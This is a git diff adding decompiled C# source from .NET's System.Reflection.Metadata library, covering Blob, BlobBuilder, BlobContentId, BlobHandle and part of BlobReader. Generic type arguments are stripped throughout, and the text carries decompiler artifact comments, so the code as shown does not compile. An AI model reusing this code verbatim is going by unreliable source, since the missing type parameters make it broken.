b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Blob.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata; + +public readonly struct Blob +{ + internal readonly byte[] Buffer; + + internal readonly int Start; + + public int Length { get; } + + public bool IsDefault => Buffer == null; + + internal Blob(byte[] buffer, int start, int length) + { + Buffer = buffer; + Start = start; + Length = length; + } + + public ArraySegment GetBytes() + { + return new ArraySegment(Buffer, Start, Length); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobBuilder.cs new file mode 100644 index 0000000..3e398f2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobBuilder.cs @@ -0,0 +1,932 @@ +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.IO; +using System.Reflection.Internal; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Reflection.Metadata; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +public class BlobBuilder +{ + internal struct Chunks : IEnumerable, IEnumerable, IEnumerator, IDisposable, IEnumerator + { + private readonly BlobBuilder _head; + + private BlobBuilder _next; + + private BlobBuilder _currentOpt; + + object IEnumerator.Current => Current; + + public BlobBuilder Current => _currentOpt; + + internal Chunks(BlobBuilder builder) + { + _head = builder; + _next = builder.FirstChunk; + _currentOpt = null; + } + + public bool MoveNext() + { + if (_currentOpt == _head) + { + return false; + } + if (_currentOpt == _head._nextOrPrevious) + { + _currentOpt = _head; + return true; + } + _currentOpt = _next; + _next = _next._nextOrPrevious; + return true; + } + + public void Reset() + { + _currentOpt = null; + _next = _head.FirstChunk; + } + + void IDisposable.Dispose() + { + } + + public Chunks GetEnumerator() + { + return this; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + public struct Blobs : IEnumerable, IEnumerable, IEnumerator, IDisposable, IEnumerator + { + private Chunks _chunks; + + object IEnumerator.Current => Current; + + public Blob Current + { + get + { + BlobBuilder current = _chunks.Current; + if (current != null) + { + return new Blob(current._buffer, 0, current.Length); + } + return default(Blob); + } + } + + internal Blobs(BlobBuilder builder) + { + _chunks = new Chunks(builder); + } + + public bool MoveNext() + { + return _chunks.MoveNext(); + } + + public void Reset() + { + _chunks.Reset(); + } + + void IDisposable.Dispose() + { + } + + public Blobs GetEnumerator() + { + return this; + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + internal const int DefaultChunkSize = 256; + + internal const int MinChunkSize = 16; + + private BlobBuilder _nextOrPrevious; + + private int _previousLengthOrFrozenSuffixLengthDelta; + + private byte[] _buffer; + + private uint _length; + + private const uint IsFrozenMask = 2147483648u; + + private BlobBuilder FirstChunk => _nextOrPrevious._nextOrPrevious; + + private bool IsHead => (_length & 0x80000000u) == 0; + + private int Length => (int)(_length & 0x7FFFFFFF); + + private uint FrozenLength => _length | 0x80000000u; + + public int Count => _previousLengthOrFrozenSuffixLengthDelta + Length; + + private int PreviousLength + { + get + { + return _previousLengthOrFrozenSuffixLengthDelta; + } + set + { + _previousLengthOrFrozenSuffixLengthDelta = value; + } + } + + protected int FreeBytes => _buffer.Length - Length; + + protected internal int ChunkCapacity => _buffer.Length; + + public BlobBuilder(int capacity = 256) + { + if (capacity < 0) + { + Throw.ArgumentOutOfRange("capacity"); + } + _nextOrPrevious = this; + _buffer = new byte[Math.Max(16, capacity)]; + } + + protected virtual BlobBuilder AllocateChunk(int minimalSize) + { + return new BlobBuilder(Math.Max(_buffer.Length, minimalSize)); + } + + protected virtual void FreeChunk() + { + } + + public void Clear() + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + BlobBuilder firstChunk = FirstChunk; + if (firstChunk != this) + { + byte[] buffer = firstChunk._buffer; + firstChunk._length = FrozenLength; + firstChunk._buffer = _buffer; + _buffer = buffer; + } + foreach (BlobBuilder chunk in GetChunks()) + { + if (chunk != this) + { + chunk.ClearChunk(); + chunk.FreeChunk(); + } + } + ClearChunk(); + } + + protected void Free() + { + Clear(); + FreeChunk(); + } + + internal void ClearChunk() + { + _length = 0u; + _previousLengthOrFrozenSuffixLengthDelta = 0; + _nextOrPrevious = this; + } + + [Conditional("DEBUG")] + private void CheckInvariants() + { + if (!IsHead) + { + return; + } + int num = 0; + foreach (BlobBuilder chunk in GetChunks()) + { + num += chunk.Length; + } + } + + internal Chunks GetChunks() + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + return new Chunks(this); + } + + public Blobs GetBlobs() + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + return new Blobs(this); + } + + public bool ContentEquals(BlobBuilder other) + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (this == other) + { + return true; + } + if (other == null) + { + return false; + } + if (!other.IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (Count != other.Count) + { + return false; + } + Chunks chunks = GetChunks(); + Chunks chunks2 = other.GetChunks(); + int num = 0; + int num2 = 0; + bool flag = chunks.MoveNext(); + bool flag2 = chunks2.MoveNext(); + while (flag && flag2) + { + BlobBuilder current = chunks.Current; + BlobBuilder current2 = chunks2.Current; + int num3 = Math.Min(current.Length - num, current2.Length - num2); + if (!ByteSequenceComparer.Equals(current._buffer, num, current2._buffer, num2, num3)) + { + return false; + } + num += num3; + num2 += num3; + if (num == current.Length) + { + flag = chunks.MoveNext(); + num = 0; + } + if (num2 == current2.Length) + { + flag2 = chunks2.MoveNext(); + num2 = 0; + } + } + return flag == flag2; + } + + public byte[] ToArray() + { + return ToArray(0, Count); + } + + public byte[] ToArray(int start, int byteCount) + { + BlobUtilities.ValidateRange(Count, start, byteCount, "byteCount"); + byte[] array = new byte[byteCount]; + int num = 0; + int num2 = start; + int num3 = start + byteCount; + foreach (BlobBuilder chunk in GetChunks()) + { + int num4 = num + chunk.Length; + if (num4 > num2) + { + int num5 = Math.Min(num3, num4) - num2; + Array.Copy(chunk._buffer, num2 - num, array, num2 - start, num5); + num2 += num5; + if (num2 == num3) + { + break; + } + } + num = num4; + } + return array; + } + + public ImmutableArray ToImmutableArray() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ToImmutableArray(0, Count); + } + + public ImmutableArray ToImmutableArray(int start, int byteCount) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + byte[] array = ToArray(start, byteCount); + return ImmutableByteArrayInterop.DangerousCreateFromUnderlyingArray(ref array); + } + + public void WriteContentTo(Stream destination) + { + if (destination == null) + { + Throw.ArgumentNull("destination"); + } + foreach (BlobBuilder chunk in GetChunks()) + { + destination.Write(chunk._buffer, 0, chunk.Length); + } + } + + public void WriteContentTo(ref BlobWriter destination) + { + if (destination.IsDefault) + { + Throw.ArgumentNull("destination"); + } + foreach (BlobBuilder chunk in GetChunks()) + { + destination.WriteBytes(chunk._buffer, 0, chunk.Length); + } + } + + public void WriteContentTo(BlobBuilder destination) + { + if (destination == null) + { + Throw.ArgumentNull("destination"); + } + foreach (BlobBuilder chunk in GetChunks()) + { + destination.WriteBytes(chunk._buffer, 0, chunk.Length); + } + } + + public void LinkPrefix(BlobBuilder prefix) + { + if (prefix == null) + { + Throw.ArgumentNull("prefix"); + } + if (!prefix.IsHead || !IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (prefix.Count != 0) + { + PreviousLength += prefix.Count; + prefix._length = prefix.FrozenLength; + BlobBuilder firstChunk = FirstChunk; + BlobBuilder firstChunk2 = prefix.FirstChunk; + BlobBuilder nextOrPrevious = _nextOrPrevious; + BlobBuilder nextOrPrevious2 = prefix._nextOrPrevious; + _nextOrPrevious = ((nextOrPrevious != this) ? nextOrPrevious : prefix); + prefix._nextOrPrevious = ((firstChunk != this) ? firstChunk : ((firstChunk2 != prefix) ? firstChunk2 : prefix)); + if (nextOrPrevious != this) + { + nextOrPrevious._nextOrPrevious = ((firstChunk2 != prefix) ? firstChunk2 : prefix); + } + if (nextOrPrevious2 != prefix) + { + nextOrPrevious2._nextOrPrevious = prefix; + } + } + } + + public void LinkSuffix(BlobBuilder suffix) + { + if (suffix == null) + { + Throw.ArgumentNull("suffix"); + } + if (!IsHead || !suffix.IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (suffix.Count == 0) + { + return; + } + bool flag = Count == 0; + byte[] buffer = suffix._buffer; + uint length = suffix._length; + int previousLength = suffix.PreviousLength; + int length2 = suffix.Length; + suffix._buffer = _buffer; + suffix._length = FrozenLength; + _buffer = buffer; + _length = length; + PreviousLength += suffix.Length + previousLength; + suffix._previousLengthOrFrozenSuffixLengthDelta = previousLength + length2 - suffix.Length; + if (!flag) + { + BlobBuilder firstChunk = FirstChunk; + BlobBuilder firstChunk2 = suffix.FirstChunk; + BlobBuilder nextOrPrevious = _nextOrPrevious; + BlobBuilder blobBuilder = (_nextOrPrevious = suffix._nextOrPrevious); + suffix._nextOrPrevious = ((firstChunk2 != suffix) ? firstChunk2 : ((firstChunk != this) ? firstChunk : suffix)); + if (nextOrPrevious != this) + { + nextOrPrevious._nextOrPrevious = suffix; + } + if (blobBuilder != suffix) + { + blobBuilder._nextOrPrevious = ((firstChunk != this) ? firstChunk : suffix); + } + } + } + + private void AddLength(int value) + { + _length += (uint)value; + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void Expand(int newLength) + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + BlobBuilder blobBuilder = AllocateChunk(Math.Max(newLength, 16)); + if (blobBuilder.ChunkCapacity < newLength) + { + throw new InvalidOperationException(System.SR.Format(System.SR.ReturnedBuilderSizeTooSmall, GetType(), "AllocateChunk")); + } + byte[] buffer = blobBuilder._buffer; + if (_length == 0) + { + blobBuilder._buffer = _buffer; + _buffer = buffer; + return; + } + BlobBuilder nextOrPrevious = _nextOrPrevious; + BlobBuilder firstChunk = FirstChunk; + if (nextOrPrevious == this) + { + _nextOrPrevious = blobBuilder; + } + else + { + blobBuilder._nextOrPrevious = firstChunk; + nextOrPrevious._nextOrPrevious = blobBuilder; + _nextOrPrevious = blobBuilder; + } + blobBuilder._buffer = _buffer; + blobBuilder._length = FrozenLength; + blobBuilder._previousLengthOrFrozenSuffixLengthDelta = PreviousLength; + _buffer = buffer; + PreviousLength += Length; + _length = 0u; + } + + public Blob ReserveBytes(int byteCount) + { + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + int start = ReserveBytesImpl(byteCount); + return new Blob(_buffer, start, byteCount); + } + + private int ReserveBytesImpl(int byteCount) + { + uint num = _length; + if (num > _buffer.Length - byteCount) + { + Expand(byteCount); + num = 0u; + } + _length = num + (uint)byteCount; + return (int)num; + } + + private int ReserveBytesPrimitive(int byteCount) + { + return ReserveBytesImpl(byteCount); + } + + public void WriteBytes(byte value, int byteCount) + { + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + int num = Math.Min(FreeBytes, byteCount); + _buffer.WriteBytes(Length, value, num); + AddLength(num); + int num2 = byteCount - num; + if (num2 > 0) + { + Expand(num2); + _buffer.WriteBytes(0, value, num2); + AddLength(num2); + } + } + + public unsafe void WriteBytes(byte* buffer, int byteCount) + { + if (buffer == null) + { + Throw.ArgumentNull("buffer"); + } + if (byteCount < 0) + { + Throw.ArgumentOutOfRange("byteCount"); + } + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + WriteBytesUnchecked(buffer, byteCount); + } + + private unsafe void WriteBytesUnchecked(byte* buffer, int byteCount) + { + int num = Math.Min(FreeBytes, byteCount); + Marshal.Copy((IntPtr)buffer, _buffer, Length, num); + AddLength(num); + int num2 = byteCount - num; + if (num2 > 0) + { + Expand(num2); + Marshal.Copy((IntPtr)(buffer + num), _buffer, 0, num2); + AddLength(num2); + } + } + + public int TryWriteBytes(Stream source, int byteCount) + { + if (source == null) + { + Throw.ArgumentNull("source"); + } + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount"); + } + if (byteCount == 0) + { + return 0; + } + int num = 0; + int num2 = Math.Min(FreeBytes, byteCount); + if (num2 > 0) + { + num = source.TryReadAll(_buffer, Length, num2); + AddLength(num); + if (num != num2) + { + return num; + } + } + int num3 = byteCount - num2; + if (num3 > 0) + { + Expand(num3); + num = source.TryReadAll(_buffer, 0, num3); + AddLength(num); + num += num2; + } + return num; + } + + public void WriteBytes(ImmutableArray buffer) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + WriteBytes(buffer, 0, (!buffer.IsDefault) ? buffer.Length : 0); + } + + public void WriteBytes(ImmutableArray buffer, int start, int byteCount) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + WriteBytes(ImmutableByteArrayInterop.DangerousGetUnderlyingArray(buffer), start, byteCount); + } + + public void WriteBytes(byte[] buffer) + { + WriteBytes(buffer, 0, (buffer != null) ? buffer.Length : 0); + } + + public unsafe void WriteBytes(byte[] buffer, int start, int byteCount) + { + if (buffer == null) + { + Throw.ArgumentNull("buffer"); + } + BlobUtilities.ValidateRange(buffer.Length, start, byteCount, "byteCount"); + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (buffer.Length != 0) + { + fixed (byte* ptr = &buffer[0]) + { + WriteBytesUnchecked(ptr + start, byteCount); + } + } + } + + public void PadTo(int position) + { + WriteBytes(0, position - Count); + } + + public void Align(int alignment) + { + int count = Count; + WriteBytes(0, BitArithmetic.Align(count, alignment) - count); + } + + public void WriteBoolean(bool value) + { + WriteByte((byte)(value ? 1u : 0u)); + } + + public void WriteByte(byte value) + { + int start = ReserveBytesPrimitive(1); + _buffer.WriteByte(start, value); + } + + public void WriteSByte(sbyte value) + { + WriteByte((byte)value); + } + + public void WriteDouble(double value) + { + int start = ReserveBytesPrimitive(8); + _buffer.WriteDouble(start, value); + } + + public void WriteSingle(float value) + { + int start = ReserveBytesPrimitive(4); + _buffer.WriteSingle(start, value); + } + + public void WriteInt16(short value) + { + WriteUInt16((ushort)value); + } + + public void WriteUInt16(ushort value) + { + int start = ReserveBytesPrimitive(2); + _buffer.WriteUInt16(start, value); + } + + public void WriteInt16BE(short value) + { + WriteUInt16BE((ushort)value); + } + + public void WriteUInt16BE(ushort value) + { + int start = ReserveBytesPrimitive(2); + _buffer.WriteUInt16BE(start, value); + } + + public void WriteInt32BE(int value) + { + WriteUInt32BE((uint)value); + } + + public void WriteUInt32BE(uint value) + { + int start = ReserveBytesPrimitive(4); + _buffer.WriteUInt32BE(start, value); + } + + public void WriteInt32(int value) + { + WriteUInt32((uint)value); + } + + public void WriteUInt32(uint value) + { + int start = ReserveBytesPrimitive(4); + _buffer.WriteUInt32(start, value); + } + + public void WriteInt64(long value) + { + WriteUInt64((ulong)value); + } + + public void WriteUInt64(ulong value) + { + int start = ReserveBytesPrimitive(8); + _buffer.WriteUInt64(start, value); + } + + public void WriteDecimal(decimal value) + { + int start = ReserveBytesPrimitive(13); + _buffer.WriteDecimal(start, value); + } + + public void WriteGuid(Guid value) + { + int start = ReserveBytesPrimitive(16); + _buffer.WriteGuid(start, value); + } + + public void WriteDateTime(DateTime value) + { + WriteInt64(value.Ticks); + } + + public void WriteReference(int reference, bool isSmall) + { + if (isSmall) + { + WriteUInt16((ushort)reference); + } + else + { + WriteInt32(reference); + } + } + + public unsafe void WriteUTF16(char[] value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (value.Length == 0) + { + return; + } + if (BitConverter.IsLittleEndian) + { + fixed (char* buffer = &value[0]) + { + WriteBytesUnchecked((byte*)buffer, value.Length * 2); + } + return; + } + for (int i = 0; i < value.Length; i++) + { + WriteUInt16(value[i]); + } + } + + public unsafe void WriteUTF16(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + if (BitConverter.IsLittleEndian) + { + fixed (char* buffer = value) + { + WriteBytesUnchecked((byte*)buffer, value.Length * 2); + } + return; + } + for (int i = 0; i < value.Length; i++) + { + WriteUInt16(value[i]); + } + } + + public void WriteSerializedString(string? value) + { + if (value == null) + { + WriteByte(byte.MaxValue); + } + else + { + WriteUTF8(value, 0, value.Length, allowUnpairedSurrogates: true, prependSize: true); + } + } + + public void WriteUserString(string value) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + WriteCompressedInteger(BlobUtilities.GetUserStringByteLength(value.Length)); + WriteUTF16(value); + WriteByte(BlobUtilities.GetUserStringTrailingByte(value)); + } + + public void WriteUTF8(string value, bool allowUnpairedSurrogates = true) + { + if (value == null) + { + Throw.ArgumentNull("value"); + } + WriteUTF8(value, 0, value.Length, allowUnpairedSurrogates, prependSize: false); + } + + internal unsafe void WriteUTF8(string str, int start, int length, bool allowUnpairedSurrogates, bool prependSize) + { + if (!IsHead) + { + Throw.InvalidOperationBuilderAlreadyLinked(); + } + fixed (char* ptr = str) + { + char* ptr2 = ptr + start; + int byteLimit = FreeBytes - (prependSize ? 4 : 0); + char* remainder; + int uTF8ByteCount = BlobUtilities.GetUTF8ByteCount(ptr2, length, byteLimit, out remainder); + int num = (int)(remainder - ptr2); + int charCount = length - num; + int uTF8ByteCount2 = BlobUtilities.GetUTF8ByteCount(remainder, charCount); + if (prependSize) + { + WriteCompressedInteger(uTF8ByteCount + uTF8ByteCount2); + } + _buffer.WriteUTF8(Length, ptr2, num, uTF8ByteCount, allowUnpairedSurrogates); + AddLength(uTF8ByteCount); + if (uTF8ByteCount2 > 0) + { + Expand(uTF8ByteCount2); + _buffer.WriteUTF8(0, remainder, charCount, uTF8ByteCount2, allowUnpairedSurrogates); + AddLength(uTF8ByteCount2); + } + } + } + + public void WriteCompressedSignedInteger(int value) + { + BlobWriterImpl.WriteCompressedSignedInteger(this, value); + } + + public void WriteCompressedInteger(int value) + { + BlobWriterImpl.WriteCompressedInteger(this, (uint)value); + } + + public void WriteConstant(object? value) + { + BlobWriterImpl.WriteConstant(this, value); + } + + internal string GetDebuggerDisplay() + { + if (!IsHead) + { + return "<" + Display(_buffer, Length) + ">"; + } + return string.Join("->", from chunk in GetChunks() + select "[" + Display(chunk._buffer, chunk.Length) + "]"); + } + + private static string Display(byte[] bytes, int length) + { + if (length > 64) + { + return BitConverter.ToString(bytes, 0, 32) + "-...-" + BitConverter.ToString(bytes, length - 32, 32); + } + return BitConverter.ToString(bytes, 0, length); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobContentId.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobContentId.cs new file mode 100644 index 0000000..07461b8 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobContentId.cs @@ -0,0 +1,130 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Internal; + +namespace System.Reflection.Metadata; + +public readonly struct BlobContentId : IEquatable +{ + private const int Size = 20; + + public Guid Guid { get; } + + public uint Stamp { get; } + + public bool IsDefault + { + get + { + if (Guid == default(Guid)) + { + return Stamp == 0; + } + return false; + } + } + + public BlobContentId(Guid guid, uint stamp) + { + Guid = guid; + Stamp = stamp; + } + + public BlobContentId(ImmutableArray id) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + this = new BlobContentId(ImmutableByteArrayInterop.DangerousGetUnderlyingArray(id)); + } + + public unsafe BlobContentId(byte[] id) + { + if (id == null) + { + Throw.ArgumentNull("id"); + } + if (id.Length != 20) + { + throw new ArgumentException(System.SR.Format(System.SR.UnexpectedArrayLength, 20), "id"); + } + fixed (byte* buffer = &id[0]) + { + BlobReader blobReader = new BlobReader(buffer, id.Length); + Guid = blobReader.ReadGuid(); + Stamp = blobReader.ReadUInt32(); + } + } + + public static BlobContentId FromHash(ImmutableArray hashCode) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return FromHash(ImmutableByteArrayInterop.DangerousGetUnderlyingArray(hashCode)); + } + + public static BlobContentId FromHash(byte[] hashCode) + { + if (hashCode == null) + { + Throw.ArgumentNull("hashCode"); + } + if (hashCode.Length < 20) + { + throw new ArgumentException(System.SR.Format(System.SR.HashTooShort, 20), "hashCode"); + } + uint a = (uint)((hashCode[3] << 24) | (hashCode[2] << 16) | (hashCode[1] << 8) | hashCode[0]); + ushort num = (ushort)((hashCode[5] << 8) | hashCode[4]); + ushort num2 = (ushort)((hashCode[7] << 8) | hashCode[6]); + byte b = hashCode[8]; + byte e = hashCode[9]; + byte f = hashCode[10]; + byte g = hashCode[11]; + byte h = hashCode[12]; + byte i = hashCode[13]; + byte j = hashCode[14]; + byte k = hashCode[15]; + num2 = (ushort)((num2 & 0xFFF) | 0x4000); + b = (byte)((b & 0x3F) | 0x80); + Guid guid = new Guid((int)a, (short)num, (short)num2, b, e, f, g, h, i, j, k); + uint stamp = (uint)(int.MinValue | ((hashCode[19] << 24) | (hashCode[18] << 16) | (hashCode[17] << 8) | hashCode[16])); + return new BlobContentId(guid, stamp); + } + + public static Func, BlobContentId> GetTimeBasedProvider() + { + uint timestamp = (uint)(DateTime.UtcNow - new DateTime(1970, 1, 1)).TotalSeconds; + return (IEnumerable content) => new BlobContentId(Guid.NewGuid(), timestamp); + } + + public bool Equals(BlobContentId other) + { + if (Guid == other.Guid) + { + return Stamp == other.Stamp; + } + return false; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is BlobContentId other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Stamp, Guid.GetHashCode()); + } + + public static bool operator ==(BlobContentId left, BlobContentId right) + { + return left.Equals(right); + } + + public static bool operator !=(BlobContentId left, BlobContentId right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobHandle.cs new file mode 100644 index 0000000..4b3c917 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobHandle.cs @@ -0,0 +1,104 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct BlobHandle : IEquatable +{ + internal enum VirtualIndex : byte + { + Nil, + ContractPublicKeyToken, + ContractPublicKey, + AttributeUsage_AllowSingle, + AttributeUsage_AllowMultiple, + Count + } + + private readonly uint _value; + + internal const int TemplateParameterOffset_AttributeUsageTarget = 2; + + internal uint RawValue => _value; + + public bool IsNil => _value == 0; + + internal bool IsVirtual => (_value & 0x80000000u) != 0; + + private ushort VirtualValue => (ushort)(_value >> 8); + + private BlobHandle(uint value) + { + _value = value; + } + + internal static BlobHandle FromOffset(int heapOffset) + { + return new BlobHandle((uint)heapOffset); + } + + internal static BlobHandle FromVirtualIndex(VirtualIndex virtualIndex, ushort virtualValue) + { + return new BlobHandle((uint)(int.MinValue | (virtualValue << 8)) | (uint)virtualIndex); + } + + internal unsafe void SubstituteTemplateParameters(byte[] blob) + { + fixed (byte* ptr = &blob[2]) + { + *(int*)ptr = VirtualValue; + } + } + + public static implicit operator Handle(BlobHandle handle) + { + return new Handle((byte)(((handle._value & 0x80000000u) >> 24) | 0x71), (int)(handle._value & 0x1FFFFFFF)); + } + + public static explicit operator BlobHandle(Handle handle) + { + if ((handle.VType & 0x7F) != 113) + { + Throw.InvalidCast(); + } + return new BlobHandle((uint)(((handle.VType & 0x80) << 24) | handle.Offset)); + } + + internal int GetHeapOffset() + { + return (int)_value; + } + + internal VirtualIndex GetVirtualIndex() + { + return (VirtualIndex)(_value & 0xFF); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is BlobHandle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(BlobHandle other) + { + return _value == other._value; + } + + public override int GetHashCode() + { + return (int)_value; + } + + public static bool operator ==(BlobHandle left, BlobHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(BlobHandle left, BlobHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobReader.cs new file mode 100644 index 0000000..2715690 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/BlobReader.cs @@ -0,0 +1,451 @@ +using System.Diagnostics; +using System.Reflection.Internal; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace System.Reflection.Metadata; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +public struct BlobReader +{ + internal const int InvalidCompressedInteger = int.MaxValue; + + private readonly MemoryBlock _block; + + private unsafe readonly byte* _endPointer; + + private unsafe byte* _currentPointer; + + private static readonly uint[] s_corEncodeTokenArray = new uint[4] { 33554432u, 16777216u, 452984832u, 0u }; + + public unsafe byte* StartPointer => _block.Pointer; + + public unsafe byte* CurrentPointer => _currentPointer; + + public int Length => _block.Length; + + public unsafe int Offset + { + get + { + return (int)(_currentPointer - _block.Pointer); + } + set + { + if ((uint)value > (uint)_block.Length) + { + Throw.OutOfBounds(); + } + _currentPointer = _block.Pointer + value; + } + } + + public unsafe int RemainingBytes => (int)(_endPointer - _currentPointer); + + public unsafe BlobReader(byte* buffer, int length) + : this(MemoryBlock.CreateChecked(buffer, length)) + { + } + + internal unsafe BlobReader(MemoryBlock block) + { + _block = block; + _currentPointer = block.Pointer; + _endPointer = block.Pointer + block.Length; + } + + internal unsafe string GetDebuggerDisplay() + { + if (_block.Pointer == null) + { + return ""; + } + int displayedBytes; + string debuggerDisplay = _block.GetDebuggerDisplay(out displayedBytes); + if (Offset < displayedBytes) + { + return debuggerDisplay.Insert(Offset * 3, "*"); + } + if (displayedBytes == _block.Length) + { + return debuggerDisplay + "*"; + } + return debuggerDisplay + "*..."; + } + + public unsafe void Reset() + { + _currentPointer = _block.Pointer; + } + + public void Align(byte alignment) + { + if (!TryAlign(alignment)) + { + Throw.OutOfBounds(); + } + } + + internal unsafe bool TryAlign(byte alignment) + { + int num = Offset & (alignment - 1); + if (num != 0) + { + int num2 = alignment - num; + if (num2 > RemainingBytes) + { + return false; + } + _currentPointer += num2; + } + return true; + } + + internal unsafe MemoryBlock GetMemoryBlockAt(int offset, int length) + { + CheckBounds(offset, length); + return new MemoryBlock(_currentPointer + offset, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe void CheckBounds(int offset, int byteCount) + { + if ((ulong)((long)(uint)offset + (long)(uint)byteCount) > (ulong)(_endPointer - _currentPointer)) + { + Throw.OutOfBounds(); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe void CheckBounds(int byteCount) + { + if ((uint)byteCount > _endPointer - _currentPointer) + { + Throw.OutOfBounds(); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe byte* GetCurrentPointerAndAdvance(int length) + { + byte* currentPointer = _currentPointer; + if ((uint)length > (uint)(_endPointer - currentPointer)) + { + Throw.OutOfBounds(); + } + _currentPointer = currentPointer + length; + return currentPointer; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private unsafe byte* GetCurrentPointerAndAdvance1() + { + byte* currentPointer = _currentPointer; + if (currentPointer == _endPointer) + { + Throw.OutOfBounds(); + } + _currentPointer = currentPointer + 1; + return currentPointer; + } + + public bool ReadBoolean() + { + return ReadByte() != 0; + } + + public unsafe sbyte ReadSByte() + { + return (sbyte)(*GetCurrentPointerAndAdvance1()); + } + + public unsafe byte ReadByte() + { + return *GetCurrentPointerAndAdvance1(); + } + + public unsafe char ReadChar() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(2); + return (char)(*currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8)); + } + + public unsafe short ReadInt16() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(2); + return (short)(*currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8)); + } + + public unsafe ushort ReadUInt16() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(2); + return (ushort)(*currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8)); + } + + public unsafe int ReadInt32() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(4); + return *currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8) + (currentPointerAndAdvance[2] << 16) + (currentPointerAndAdvance[3] << 24); + } + + public unsafe uint ReadUInt32() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(4); + return (uint)(*currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8) + (currentPointerAndAdvance[2] << 16) + (currentPointerAndAdvance[3] << 24)); + } + + public unsafe long ReadInt64() + { + byte* currentPointerAndAdvance = GetCurrentPointerAndAdvance(8); + uint num = (uint)(*currentPointerAndAdvance + (currentPointerAndAdvance[1] << 8) + (currentPointerAndAdvance[2] << 16) + (currentPointerAndAdvance[3] << 24)); + uint num2 = (uint)(currentPointerAndAdvance[4] + (currentPointerAndAdvance[5] << 8) + (currentPointerAndAdvance[6] << 16) + (currentPointerAndAdvance[7] << 24)); + return (long)(num + ((ulong)num2 << 32)); + } + + public ulong ReadUInt64() + { + return (ulong)ReadInt64(); + } + + public unsafe float ReadSingle() + { + int num = ReadInt32(); + return *(float*)(&num); + } + + 